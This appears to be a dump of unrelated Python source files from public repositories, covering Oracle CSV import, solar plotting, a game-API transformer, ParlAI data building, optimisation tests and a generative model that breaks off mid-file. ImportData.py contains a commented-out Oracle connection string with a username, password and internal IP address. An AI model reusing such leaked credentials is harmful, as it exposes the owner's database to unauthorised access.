匹配报告周期\n matchObj2 = re.search(re.compile(pattern2), dest_dir)\n df1['报告周期'] = matchObj2.group()\n\n pattern3 = \"(?<=\\=)[a-z]+(?=.)\" # 匹配不同表\n matchObj3 = re.search(re.compile(pattern3), dest_dir)\n table_str = \"\"\n if matchObj3:\n table_str = matchObj3.group()\n else:\n table_str = \"report\" # 主要财务指标\n df1['报告类型'] = reportType_dic[table_str]\n df1['报告类型英文'] = table_str\n\n now = datetime.datetime.now() # 写入时间\n df1['更新时间'] = now.strftime('%Y-%m-%d %H:%M:%S')\n\n if table_str == reportType_tuple[0]:\n df_tup[0].append(df1)\n elif table_str == reportType_tuple[1]:\n df_tup[1].append(df1)\n elif table_str == reportType_tuple[2]:\n df_tup[2].append(df1)\n elif table_str == reportType_tuple[3]:\n df_tup[3].append(df1)\n else:\n df_tup[4].append(df1)\n # df_list.append(df1)\n result = append_columns(df_tup, rename_columns)\n print(\"finished\")\n return (result)\n\n\ndef open_dir(path):\n file_list = os.listdir(path)\n file_list = list(map(lambda x: path + x, file_list))\n return file_list\n\n\ndef append_columns(df_tup, rename_columns):\n result = []\n for i in range(len(df_tup)):\n dataframe = reduce(lambda x, y: x.append(y), df_tup[i]) # 拼接相同类型的表\n # 修改字段名\n if i == 0:\n dataframe.rename(columns=rename_columns[0], inplace=True)\n elif i == 4:\n dataframe.rename(columns=rename_columns[1], inplace=True)\n result.append(dataframe)\n return result\n# 存入oracle接口\ndef write_into_oracle(df_list,reportType_tuple):\n try:\n #connection = cx_Oracle.connect('wwyjfx','Fxyj#17W*2w','10.190.41.13/coreora')\n print(\"writing ...\")\n oracle_db = create_engine('oracle+cx_oracle://wwyjfx:m123@localhost:1521/?service_name=orcl')\n connection = oracle_db.connect()\n for i in range(len(df_list)):\n columns = list(df_list[i].columns)#指定字段类型\n col_dict = {}\n for col in columns:\n col_dict[col] = sqlalchemy.types.NVARCHAR(length=20)\n df_list[i].to_sql('wycbsj_'+reportType_tuple[i],connection,if_exists='append',index=False,chunksize=2000,dtype=col_dict)\n connection.close()\n print(\"finished\")\n except Exception as e:\n print(e)\n\npath = 'D:\\\\enterprise\\\\' #下载文件存放目录\n\nos.environ['NLS_LANG'] = 'SIMPLIFIED CHINESE_CHINA.UTF8'#正常显示中文\nreportType_dic = {'report':'主要财务指标','ylnl':'盈利能力','chnl':'偿还能力','cznl':'成长能力','yynl':'营运能力'}\nreportType_tuple = ('report','ylnl','chnl','cznl','yynl')\n#oracle字段名长度限制\nrename_columns = [{'每股经营活动产生的现金流量净额(元)':'每股现金流量净额(元)',\n '净利润(扣除非经常性损益后)(万元)':'净利润(扣除后)(万元)',\n '经营活动产生的现金流量净额(万元)':'现金流量净额(万元)',\n '股东权益不含少数股东权益(万元)':'股东权益(万元)'},\n {'经营现金净流量对销售收入比率(%)':'经营现金净流量对销售收入(%)',\n '经营现金净流量与净利润的比率(%)':'经营现金净流量与净利润(%)'}]\n\nfile_list = open_dir(path)\n#df_list = read_csv_to_dataframe(file_list)\ndf_list = read_csv_to_dataframe(file_list,reportType_tuple,append_columns,rename_columns)\nwrite_into_oracle(df_list,reportType_tuple)\n\n","repo_name":"w341000/PythonTheWord","sub_path":"ImportData.py","file_name":"ImportData.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"14047552095","text":"import matplotlib.pyplot as plt\nfrom sunpy.map import Map\nimport sunpy.data.sample as s\nimport numpy as np\naia = Map(s.AIA_171_IMAGE)\n\nfig, axs = plt.subplots(1,2)\naia.plot(axes=axs[0])\naia.draw_grid()\n\nr = [11.52, 10.42, 6.14, 3.64, 2.75]\ne = [10, 20, 30, 40, 50]\n\npixel_size = 3.4\nnumber_of_pixels = 160\n\ncenter = np.array([461, 303])\n\nline_color = 'w'\n\nrect = plt.Rectangle(center - pixel_size * number_of_pixels/2., pixel_size * number_of_pixels, pixel_size * number_of_pixels, fill=False, color=line_color)\nax[0].add_artist(rect)\n\nrect = plt.Rectangle(center - pixel_size/2., pixel_size, pixel_size, fill=False, color=line_color)\nax[0].add_artist(rect)\n\nfor radius, energy in zip(r,e):\n circle = plt.Circle(center, radius=radius*60, fill=False, label=str(energy), color=line_color)\n ax[0].add_artist(circle)\nplt.colorbar()\nplt.legend()\n\naia.plot(axes=ax[1])\n\nplt.show()\n","repo_name":"foxsi/foxsi-smex","sub_path":"pyfoxsi/scripts/foxsi-smex-fov.py","file_name":"foxsi-smex-fov.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"25717619441","text":"from typing import Type, TypeVar\nfrom copy import deepcopy\n\nfrom datapipelines import DataTransformer, PipelineContext\n\nfrom ..core.league import (\n LeagueEntry,\n LeagueEntries,\n LeagueEntriesData,\n LeagueSummonerEntries,\n LeagueSummonerEntriesData,\n League,\n ChallengerLeagueListData,\n ChallengerLeague,\n GrandmasterLeagueListData,\n GrandmasterLeague,\n MasterLeagueListData,\n MasterLeague,\n LeagueData,\n LeagueEntryData,\n)\n\nfrom ..dto.league import (\n LeagueDto,\n LeagueEntriesDto,\n LeagueSummonerEntriesDto,\n ChallengerLeagueListDto,\n GrandmasterLeagueListDto,\n MasterLeagueListDto,\n LeagueEntryDto,\n)\n\nT = TypeVar(\"T\")\nF = TypeVar(\"F\")\n\n\nclass LeagueTransformer(DataTransformer):\n @DataTransformer.dispatch\n def transform(\n self, target_type: Type[T], value: F, context: PipelineContext = None\n ) -> T:\n pass\n\n # Dto to Data\n\n @transform.register(LeagueDto, LeagueData)\n def league_dto_to_data(\n self, value: LeagueDto, context: PipelineContext = None\n ) -> LeagueData:\n return LeagueData(**value)\n\n @transform.register(LeagueEntryDto, LeagueEntryData)\n def league_entry_dto_to_data(\n self, value: LeagueEntryDto, context: PipelineContext = None\n ) -> LeagueEntryData:\n return LeagueEntryData(**value)\n\n @transform.register(LeagueSummonerEntriesDto, LeagueSummonerEntriesData)\n def leagues_summoner_entries_dto_to_data(\n self, value: LeagueSummonerEntriesDto, context: PipelineContext = None\n ) -> LeagueSummonerEntriesData:\n data = deepcopy(value)\n for entry in data[\"entries\"]:\n entry[\"region\"] = data[\"region\"]\n data = [\n LeagueTransformer.league_entry_dto_to_data(self, entry)\n for entry in data[\"entries\"]\n ]\n return LeagueSummonerEntriesData(\n data, summoner_id=value[\"summonerId\"], region=value[\"region\"]\n )\n\n @transform.register(LeagueEntriesDto, LeagueEntriesData)\n def leagues_entries_dto_to_data(\n self, value: LeagueEntriesDto, context: PipelineContext = None\n ) -> LeagueEntriesData:\n kwargs = {\n \"region\": value[\"region\"],\n \"queue\": value[\"queue\"],\n \"tier\": value[\"tier\"],\n \"division\": value[\"division\"],\n \"page\": value[\"page\"],\n }\n return LeagueEntriesData(\n [self.league_entry_dto_to_data(entry) for entry in value[\"entries\"]],\n **kwargs\n )\n\n @transform.register(ChallengerLeagueListDto, ChallengerLeagueListData)\n def challenger_league_list_dto_to_data(\n self, value: ChallengerLeagueListDto, context: PipelineContext = None\n ) -> ChallengerLeagueListData:\n return ChallengerLeagueListData(**value)\n\n @transform.register(GrandmasterLeagueListDto, GrandmasterLeagueListData)\n def grandmaster_league_list_dto_to_data(\n self, value: GrandmasterLeagueListDto, context: PipelineContext = None\n ) -> GrandmasterLeagueListData:\n return GrandmasterLeagueListData(**value)\n\n @transform.register(MasterLeagueListDto, MasterLeagueListData)\n def master_league_list_dto_to_data(\n self, value: MasterLeagueListDto, context: PipelineContext = None\n ) -> MasterLeagueListData:\n return MasterLeagueListData(**value)\n\n # Data to Core\n\n def league_data_to_core(\n self, value: LeagueData, context: PipelineContext = None\n ) -> League:\n data = deepcopy(value)\n return League.from_data(data)\n\n @transform.register(LeagueEntryData, LeagueEntry)\n def league_entry_data_to_core(\n self, value: LeagueEntryData, context: PipelineContext = None\n ) -> LeagueEntry:\n data = deepcopy(value)\n return LeagueEntry.from_data(data=data)\n\n @transform.register(LeagueEntriesData, LeagueEntries)\n def league_entries_data_to_core(\n self, value: LeagueEntriesData, context: PipelineContext = None\n ) -> LeagueEntries:\n return LeagueEntries(\n *[\n LeagueTransformer.league_entry_data_to_core(self, entry)\n for entry in value\n ],\n tier=value.tier,\n division=value.division,\n queue=value.queue,\n region=value.region\n )\n\n # @transform.register(ChallengerLeagueListData, ChallengerLeague)\n def challenger_league_list_data_to_core(\n self, value: ChallengerLeagueListData, context: PipelineContext = None\n ) -> ChallengerLeague:\n data = deepcopy(value)\n return ChallengerLeague.from_data(data)\n\n # @transform.register(GrandmasterLeagueListData, GrandmasterLeague)\n def grandmaster_league_list_data_to_core(\n self, value: GrandmasterLeagueListData, context: PipelineContext = None\n ) -> GrandmasterLeague:\n data = deepcopy(value)\n return GrandmasterLeague.from_data(data)\n\n # @transform.register(MasterLeagueListData, MasterLeague)\n def master_league_list_data_to_core(\n self, value: MasterLeagueListData, context: PipelineContext = None\n ) -> MasterLeague:\n data = deepcopy(value)\n return MasterLeague.from_data(data)\n","repo_name":"meraki-analytics/cassiopeia","sub_path":"cassiopeia/transformers/leagues.py","file_name":"leagues.py","file_ext":"py","file_size_in_byte":5192,"program_lang":"python","lang":"en","doc_type":"code","stars":522,"dataset":"github-code","pt":"36"} +{"seq_id":"71275862503","text":"# This script tests the model on the standard SMG (no persona selection).\n# The DWG model successfully makes the same predictions.\n\nfrom players import *\nfrom helpers import *\nfrom lexica import *\nfrom viz import *\n\n\n# Available messages\nmessages = [\"in\", \"ing\"]\n\nmeanings = {\n \"in\": {\"worlds\": [\"w\"], \"personae\": [\"doofus\", \"cool guy\", \"asshole\"]},\n \"ing\": {\"worlds\": [\"w\"], \"personae\": [\"stern leader\", \"cool guy\", \"asshole\"]},\n}\n\n# Setting the priors.\n# Define priors over possible worlds here, worlds don't count in SMG so we have\n# only one, necessary world.\nworld_priors = {\"w\": 1}\n\n# Define priors over personae here. They have to add up to 1.\npers_priors = {\n \"stern leader\": 0.3,\n \"doofus\": 0.2,\n \"cool guy\": 0.2,\n \"asshole\": 0.3,\n}\n\ndelta_soc = {\"soc\": 1}\n\npi_lex = {\n \"stern leader\": {\"lex\": 1},\n \"doofus\": {\"lex\": 1},\n \"cool guy\": {\"lex\": 1},\n \"asshole\": {\"lex\": 1},\n}\n\n# Build priors as an instance of the Priors class.\npriors = Priors(world_priors, pers_priors, delta_soc, pi_lex)\n\n# Constructing lexica and storing in lists\nsocs = [Pers(meanings, \"soc\")]\nlexs = [Lex(meanings, \"lex\")]\n\n# Literal listener\nlis0 = Player(priors)\n\n# Predictions for pers\nfor m in messages:\n print(\n \"When hearing message '\"\n + m\n + \"', the probability that a literal listener interprets the world\\\n described by the speaker as being 'w' is equal to: \"\n + str(lis0.l0_interpretation(\"w\", m, socs, lexs))\n )\n\n# Predictions for worlds\nlis0.full_predictions(socs, lexs)\n\n# Constructing the speaker\nspeak = HonestNdivSpeaker(priors, world_sensitivity=0)\n\n# Predictions for (worlds, personae) pairs\nspeak.full_predictions(socs, lexs)\n\n# Constructing the speaker\nlis1 = Listener(priors, world_sensitivity=0)\n\n# Predictions for (worlds, personae) pairs\nlis1.full_predictions(socs, lexs)\n","repo_name":"LangdP/DWG","sub_path":"SMG.py","file_name":"SMG.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74050225064","text":"from parlai.core.build_data import DownloadableFile\nimport parlai.core.build_data as build_data\nimport os\n\nRESOURCES = [\n DownloadableFile(\n 'https://raw.githubusercontent.com/deepmipt/turing-data/master/data_1501534800.tar.gz',\n 'data_1501534800.tar.gz',\n 'f1a4e7ee7264220cef6bf067b77d6f501023877643e77516c7acd66fbcdf0aaf',\n )\n]\n\n\ndef build(opt):\n data_path = os.path.join(opt['datapath'], 'DialogueQE')\n version = '1501534800'\n\n if not build_data.built(data_path, version_string=version):\n print('[building data: ' + data_path + ']')\n\n if build_data.built(data_path):\n build_data.remove_dir(data_path)\n build_data.make_dir(data_path)\n\n for downloadable_file in RESOURCES:\n downloadable_file.download_file(data_path)\n\n os.rename(\n os.path.join(data_path, 'data_train_' + version + '.json'),\n os.path.join(data_path, 'train.json'),\n )\n os.rename(\n os.path.join(data_path, 'data_test_' + version + '.json'),\n os.path.join(data_path, 'test.json'),\n )\n\n build_data.mark_done(data_path, version_string=version)\n","repo_name":"facebookresearch/ParlAI","sub_path":"parlai/tasks/dialogue_qe/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":10365,"dataset":"github-code","pt":"36"} +{"seq_id":"4656632980","text":"from tkinter import *\n\nclass my_app(Frame):\n \"\"\"Basic Frame\"\"\"\n def __init__(self, master):\n \"\"\"Init the Frame\"\"\"\n Frame.__init__(self,master)\n self.grid()\n self.Create_Widgets()\n\n def Create_Widgets(self):\n for i in range(5):\n self.newmessage = Button(self, text= \"Button ID: %d\" % i, anchor=W,\n command = lambda i=i: self.access(i))\n self.newmessage.config(height = 3, width = 100)\n self.newmessage.grid(column = 0, row = i, sticky = NW)\n\n def access(self, b_id): #This is one of the areas where I need help. I want this to return the number of the button clicked.\n self.b_id = b_id\n print(self.b_id) #Print Button ID\n\n#Root Stuff\n\n\nroot = Tk()\nroot.title(\"Tkinter Dynamics\")\nroot.geometry(\"500x500\")\napp = my_app(root)\n\nroot.mainloop()","repo_name":"Alexanderkorn/A3-project","sub_path":"code/iets.py","file_name":"iets.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"20041636052","text":"\"\"\" A trading bot for Dofus \"\"\"\n\nfrom functions_buying import *\n\ndef general () :\n txt = pg.confirm(\"Menu principal\",buttons=('Quitter','Allumer','Analyses prix','Achats'))\n while (txt != 'Quitter') :\n if txt == \"Analyses prix\" :\n n = pg.prompt(text='Saisir le temps d attente (défaut : 30 secondes ; minimum : 5 secondes)')\n n = conversion_entier(n)\n if n > 4 :\n evolution(n)\n elif txt == \"Achats\" :\n n = pg.prompt(text='Saisir le temps d attente (défaut : 30 secondes ; minimum : 5 secondes)')\n n = conversion_entier(n)\n banque()\n achat(n)\n elif txt == \"Allumer\" :\n allumage()\n txt = pg.confirm(\"Menu principal\",buttons=('Quitter','Allumer','Analyses prix','Achats'))\n return 0\n\ndef test_photo (objet,k) :\n img = PIL.Image.open(\"../assets/Objets/\"+objet+\"/images/\"+str(k)+\".jpg\")\n return reperer_prix(img)\n\n#general()","repo_name":"Ramamas6/Dofus","sub_path":"codes/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"3674043158","text":"lista = []\nfor x in range(5):\n val = float(input(\"Ingrese las alturas: \"))\n lista.append(val)\npromedio = sum(lista)/5\nbajas=0\naltos=0\nfor x in lista:\n if x=promedio:\n altos += 1\nprint(\"La alturas ingresadas son:\",lista,\"\\nEl promedio es:\",promedio,\"\\nLas personas mayores al promedio son:\",altos,\"\\nLas personas menores al promedio son:\",bajas)","repo_name":"manudearagon/TPs-LAB3","sub_path":"GuiaEjerciciosN1/eje29.py","file_name":"eje29.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"23514729957","text":"from nsga2.nsga2 import NSGA2\nfrom test_functions.get_problem import get_problem\n\nproblem = get_problem('OsyczkaKundu')\n\nn_processes = 1\nn_gen = 50\nseed = 6\npop_size = 100\ncrossover_eta = 10\nmutation_prob = 0.1\nmutation_eta = 20\nrestart = False\n\nnsga2 = NSGA2(\n problem,\n pop_size,\n n_gen,\n mutation_prob=mutation_prob,\n mutation_eta=mutation_eta,\n crossover_eta=crossover_eta,\n n_processes=n_processes,\n seed=seed,\n restart=restart)\n\nresult = nsga2.minimize()\n\n\n","repo_name":"kentoakiyama/NSGA2","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"14822444259","text":"#\n# @lc app=leetcode.cn id=443 lang=python3\n#\n# [443] 压缩字符串\n#\n# https://leetcode-cn.com/problems/string-compression/description/\n#\n# algorithms\n# Easy (32.97%)\n# Total Accepted: 2.9K\n# Total Submissions: 8.8K\n# Testcase Example: '[\"a\",\"a\",\"b\",\"b\",\"c\",\"c\",\"c\"]'\n#\n# 给定一组字符,使用原地算法将其压缩。\n#\n# 压缩后的长度必须始终小于或等于原数组长度。\n#\n# 数组的每个元素应该是长度为1 的字符(不是 int 整数类型)。\n#\n# 在完成原地修改输入数组后,返回数组的新长度。\n#\n#\n#\n# 进阶:\n# 你能否仅使用O(1) 空间解决问题?\n#\n#\n#\n# 示例 1:\n#\n#\n# 输入:\n# [\"a\",\"a\",\"b\",\"b\",\"c\",\"c\",\"c\"]\n#\n# 输出:\n# 返回6,输入数组的前6个字符应该是:[\"a\",\"2\",\"b\",\"2\",\"c\",\"3\"]\n#\n# 说明:\n# \"aa\"被\"a2\"替代。\"bb\"被\"b2\"替代。\"ccc\"被\"c3\"替代。\n#\n#\n# 示例 2:\n#\n#\n# 输入:\n# [\"a\"]\n#\n# 输出:\n# 返回1,输入数组的前1个字符应该是:[\"a\"]\n#\n# 说明:\n# 没有任何字符串被替代。\n#\n#\n# 示例 3:\n#\n#\n# 输入:\n# [\"a\",\"b\",\"b\",\"b\",\"b\",\"b\",\"b\",\"b\",\"b\",\"b\",\"b\",\"b\",\"b\"]\n#\n# 输出:\n# 返回4,输入数组的前4个字符应该是:[\"a\",\"b\",\"1\",\"2\"]。\n#\n# 说明:\n# 由于字符\"a\"不重复,所以不会被压缩。\"bbbbbbbbbbbb\"被“b12”替代。\n# 注意每个数字在数组中都有它自己的位置。\n#\n#\n# 注意:\n#\n#\n# 所有字符都有一个ASCII值在[35, 126]区间内。\n# 1 <= len(chars) <= 1000。\n#\n#\n#\n\n\nclass Solution:\n def compress(self, chars: List[str]) -> int:\n if not len(chars):\n return 0\n slow, fast, cur = 0, 0, 0\n while fast < len(chars):\n if chars[slow] == chars[fast]:\n cur += 1\n fast += 1\n else:\n if cur == 1:\n slow += 1\n else:\n s = str(cur)\n for i in range(len(s)):\n chars[slow + i + 1] = s[i]\n slow += len(s) + 1\n chars[slow] = chars[fast]\n cur = 0\n if cur > 0:\n if cur == 1:\n slow += 1\n else:\n s = str(cur)\n for i in range(len(s)):\n chars[slow + i + 1] = s[i]\n slow += len(s) + 1\n return slow\n","repo_name":"ZodiacSyndicate/leet-code-solutions","sub_path":"easy/443.压缩字符串/443.压缩字符串.py","file_name":"443.压缩字符串.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"zh","doc_type":"code","stars":45,"dataset":"github-code","pt":"36"} +{"seq_id":"6342907825","text":"from urllib import urlopen, urlencode\nfrom message import Message\nimport json\n\n_TOKEN = 'token'\n_PUBLIC = 'public'\n_STATUS = 'status'\n_SUCCESS = 'success'\n_REPLY = 'reply'\n_ERR = 'error'\n\ndef check_output(output):\n data = output.read()\n if output.getcode() != 200:\n raise Exception(data)\n data = json.loads(data)\n return data\n\ndef initialize(person):\n data = {'type':'init'}\n output = urlopen(person, urlencode(data))\n data = check_output(output)\n # returns a dictionary \n # {\"token\":, \"public\": }\n return data\n\ndef send_key(person, token, public, name):\n \"\"\"\n person: url of Alice/Bob\n token: token used to track session\n public: the public value of the other party\n name: the name of the other party - \"alice\", \"bob\"\n \"\"\"\n data = {'type':'key',\n 'token':token,\n 'public':public,\n 'name':name}\n output = urlopen(person, urlencode(data))\n data = check_output(output)\n # Should be a response {\"status\":\"success\"}\n return data\n\ndef receive_msg_from(person, token):\n data = {'type':'msg',\n 'token':token}\n output = urlopen(person, urlencode(data))\n data = check_output(output)\n # should be a response\n # {\"msg\":, \"iv\":}\n return data\n\ndef send_msg_to(person, token, cipher, iv):\n data = {'type':'msg',\n 'token':token,\n 'message':cipher,\n 'iv':iv}\n output = urlopen(person, urlencode(data))\n data = check_output(output)\n # If the person doesn't have\n # a response to the message, the response will\n # just be {\"status\":\"success\"}\n # else, the response will be {\"status\":\"sucess\", \n # \"reply\":{\"msg\":,\n # \"iv\":}}\n return data\n\n\nclass Terminal:\n\n\tdef __init__ (self, name, uri, mitm=False):\n\t\tself.name = name\n\t\tself.uri = uri\n\t\tif not mitm:\n\t\t\tinit_dict = initialize(uri)\n\t\t\tself.public = init_dict[_PUBLIC]\n\t\t\tself.token = init_dict[_TOKEN]\n\t\telse:\n\t\t\tself.public = ''\n\t\t\tself.token = ''\n\n\tdef __str__(self):\n\t\tline_labels = ['Name', 'URI', 'Public Key', 'Token']\n\t\tline_info = [self.name, self.uri, self.public, self.token]\n\t\tmax_width = max(list(map(len, line_labels)))\n\t\ttab_line_labels = list(map(lambda x: x + (' '*(max_width-len(x))) + ': ', line_labels))\n\t\tstart_str = '===Start Terminal Info===\\n'\n\t\tend_str = '\\n===End Terminal Info==='\n\t\treturn start_str + '\\n'.join([l+i for l,i in zip(tab_line_labels, line_info)]) + end_str\n\n\tdef __eq__(self, other):\n\t\treturn self.uri == other.uri\n\n\tdef send_key_of(self, other):\n\t\t\"\"\"\n\t\tother: represents the terminal whose key will be send to this terminal\n\t\treturns True if sending succeeded, False otherwise\n\t\t\"\"\"\n\t\tresp_dict = send_key(self.uri, self.token, other.public, other.name)\n\t\treturn resp_dict[_STATUS] == _SUCCESS\n\n\tdef receive_msg(self):\n\t\t\"\"\"\n\t\tthis function receive a message from this terminal\n\t\treturns a Message object\n\t\t\"\"\"\n\t\tresp_dict = receive_msg_from(self.uri, self.token)\n\t\treturn Message(resp_dict)\n\n\tdef send_msg(self, msg):\n\t\t\"\"\"\n\t\tmsg: Message object that contains the cipher and the iv that will\n\t\tbe send to this terminal.\n\t\treturn Message object that could be EMPTY is there was no response\n\t\tfrom this terminal after msg was sent\n\t\t\"\"\"\n\t\tresp_dict = send_msg_to(self.uri, self.token, msg.data, msg.iv)\n\t\tif resp_dict[_STATUS] == _SUCCESS:\n\t\t\tif _REPLY in resp_dict:\n\t\t\t\treturn Message(resp_dict[_REPLY])\n\t\t\telse:\n\t\t\t\treturn Message({})\n\t\telse:\n\t\t\traise Exception('Unidentified response >>> ' + str(resp_dict))\n\n","repo_name":"samer-makary/applied-cryptography-final-project","sub_path":"terminal.py","file_name":"terminal.py","file_ext":"py","file_size_in_byte":3628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"22624044129","text":"import os, inspect\ncurrent_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nos.sys.path.insert(0, current_dir)\nimport tensorflow as tf\nfrom tensorflow.python.util import deprecation\ndeprecation._PRINT_DEPRECATION_WARNINGS = False\n\nimport numpy as np\nimport basic_nn\nfrom basic_nn import fully_connected_nn, sigmoid_act, tanh_act, leaky_relu_act\nfrom basic_model import basicModel\nfrom costfcn import gmm_likelihood_simplex, entropy_discriminator_cost, gmm_nll_cost, gmm_mce_cost\nfrom tensorflow_probability import distributions as tfd\nfrom util import sample_gmm\n\n\ntf.compat.v1.disable_eager_execution()\nif tf.__version__ < '2.0.0':\n import tflearn\n w_init = tflearn.initializations.normal(stddev=0.003, seed=42)\n w_init_dis = tflearn.initializations.normal(stddev=0.1, seed=42)\nelse:\n from tensorflow.keras import initializers\n w_init = initializers.RandomNormal(stddev=0.003, seed=42)\n w_init_dis = initializers.RandomNormal(stddev=0.1, seed=42)\n\n\nclass GMGAN:\n def __init__(self, n_comps, context_dim, response_dim, nn_structure,\n batch_size=None, using_batch_norm=False, seed=42, eps=1e-20,\n gen_sup_lrate=0.001, gen_adv_lrate=0.001, dis_learning_rate=0.001, entropy_ratio=0, scaling=1, var_init=None, var_init_dis=None):\n basicModel.__init__(self, batch_size, using_batch_norm, seed, eps)\n self.n_comps = n_comps\n self.context_dim = context_dim\n self.response_dim = response_dim\n self.latent_dim = n_comps-1\n\n self.nn_structure = nn_structure\n self.gen_sup_lrate = gen_sup_lrate\n self.gen_adv_lrate = gen_adv_lrate\n\n self.dis_lrate = dis_learning_rate\n self.entropy_ratio = entropy_ratio\n self.using_batch_norm = using_batch_norm\n self.scaling = scaling\n self.lratio = {'likelihood': 1, 'entropy': 0, 'adv_cost':200}\n self.sup_max_epoch = 0\n self.outputs = {}\n\n if var_init is None:\n self.var_init = w_init\n else:\n self.var_init = var_init\n\n if var_init_dis is None:\n self.var_init_dis = w_init_dis\n else:\n self.var_init_dis = var_init_dis\n\n def get_gmm(self, vec_mus, vec_scales, mixing_coeffs):\n n_comp = mixing_coeffs.get_shape().as_list()[1]\n mus = tf.split(vec_mus, num_or_size_splits=n_comp, axis=1)\n scales = tf.split(vec_scales, num_or_size_splits=n_comp, axis=1)\n gmm_comps = [tfd.MultivariateNormalDiag(loc=mu, scale_diag=scale) for mu, scale in zip(mus, scales)]\n gmm = tfd.Mixture(cat=tfd.Categorical(probs=mixing_coeffs), components=gmm_comps)\n return gmm\n\n def generator(self, context, nn_type='v1'):\n g_outs = getattr(basic_nn, 'mdn_nn_' + nn_type)(context, self.response_dim * self.n_comps, self.n_comps,\n self.nn_structure, self.using_batch_norm,\n scope='generator', var_init=self.var_init)\n\n mean = g_outs['mean']\n scale = g_outs['scale']\n mc = g_outs['mc']\n gmm = self.get_gmm(mean, scale, mc)\n\n return g_outs, gmm.sample()\n\n def discriminator(self, context, response):\n d_hidden_response = fully_connected_nn(response, self.nn_structure['d_response'][:-1],\n self.nn_structure['d_response'][-1], w_init=self.var_init_dis,\n latent_activation=leaky_relu_act,\n out_activation=None, scope='discriminator_response')\n\n d_hidden_context = fully_connected_nn(context, self.nn_structure['d_context'][:-1],\n self.nn_structure['d_context'][-1], w_init=self.var_init_dis,\n latent_activation=leaky_relu_act,\n out_activation=None, scope='discriminator_context')\n\n d_hidden_input = tf.concat([d_hidden_response, d_hidden_context], axis=1)\n d_output = fully_connected_nn(d_hidden_input, self.nn_structure['discriminator'], self.latent_dim,\n w_init=self.var_init_dis,\n latent_activation=leaky_relu_act, out_activation=sigmoid_act,\n scope='discriminator')\n\n d_output = d_output * 5 - 2.5\n return d_output\n\n\n def create_lambda_network(self):\n self.lambda_input = tf.compat.v1.placeholder(tf.float32, shape=[None, 1], name='lambda_input')\n self.lambda_output = fully_connected_nn(self.lambda_input, self.nn_structure['lambda'], self.latent_dim, w_init=self.var_init,\n latent_activation=leaky_relu_act, out_activation=sigmoid_act, scope='lambda')\n self.lambda_output = self.lambda_output * 5 - 2.5\n self.lambval, _ = gmm_likelihood_simplex(self.lambda_output, self.latent_dim)\n self.lamb_cost = tf.negative(tf.math.log(1e-8 + tf.reduce_sum(self.lambval)))\n self.lamb_vars = [v for v in tf.compat.v1.trainable_variables() if 'lambda' in v.name]\n self.lamb_opt = tf.compat.v1.train.AdamOptimizer(learning_rate=0.001).minimize(self.lamb_cost,\n var_list=self.lamb_vars)\n\n def create_network(self):\n self.context = tf.compat.v1.placeholder(tf.float32, shape=(None, self.context_dim), name='context')\n self.real_context = tf.compat.v1.placeholder(tf.float32, shape=(None, self.context_dim),name='real_context')\n self.real_response = tf.compat.v1.placeholder(tf.float32, shape=(None, self.response_dim),name='real_response')\n\n num_real_data = tf.shape(self.real_context)[0]\n all_context = tf.concat([self.real_context, self.context], axis=0)\n self.g_outs, self.all_response = self.generator(all_context)\n\n self.g_response = self.all_response[num_real_data:,:]\n self.response = self.all_response[num_real_data:, :]\n\n d_context = tf.concat([self.real_context, self.context], axis=0)\n d_response = tf.concat([self.real_response, self.response], axis=0)\n self.d_output = self.discriminator(d_context, d_response)\n\n self.d_real_output = self.d_output[:num_real_data,:]\n self.d_fake_output = self.d_output[num_real_data:,:]\n self.create_lambda_network()\n\n self.gen_vars = [v for v in tf.compat.v1.trainable_variables() if 'generator' in v.name]\n self.dis_vars = [v for v in tf.compat.v1.trainable_variables() if 'discriminator' in v.name]\n\n self.lamb = tf.compat.v1.placeholder(tf.float32, shape=[None, 1], name='lambda')\n self.fake_likelihood, _ = gmm_likelihood_simplex(self.d_fake_output, self.latent_dim)\n self.real_likelihood, simplex_gmm = gmm_likelihood_simplex(self.d_real_output, self.latent_dim)\n\n # get generator costs: nll cost + adversarial cost\n mean = self.g_outs['mean'][:num_real_data,:]\n scale = self.g_outs['scale'][:num_real_data,:]\n mc = self.g_outs['mc'][:num_real_data,:]\n\n self.outputs['mean'] = self.g_outs['mean'][num_real_data:,:]\n self.outputs['scale'] = self.g_outs['scale'][num_real_data:,:]\n self.outputs['mc'] = self.g_outs['mc'][num_real_data:,:]\n\n is_positive = tf.ones(shape=(num_real_data, 1), dtype=tf.float32)\n self.nll = gmm_nll_cost(self.real_response, mean, scale, mc, is_positive)\n self.entropy_loss = gmm_mce_cost(mc, is_positive, eps=1e-20)\n self.gen_sup_cost = self.lratio['likelihood'] * self.nll + self.lratio['entropy'] * self.entropy_loss\n\n self.gen_adv_cost = tf.reduce_mean(tf.math.log(self.lamb - self.fake_likelihood + 1e-8))\n self.gen_cost = self.gen_sup_cost + self.lratio['adv_cost'] * self.gen_adv_cost\n\n # get discriminator costs\n self.dis_real_cost = tf.negative(tf.reduce_mean(tf.math.log(self.real_likelihood + 1e-8)))\n self.dis_fake_cost = tf.negative(tf.reduce_mean(tf.math.log(self.lamb - self.fake_likelihood + 1e-8)))\n self.dis_cost = self.dis_real_cost + self.dis_fake_cost\n self.entropy_cost = entropy_discriminator_cost(simplex_gmm, self.d_real_output)\n 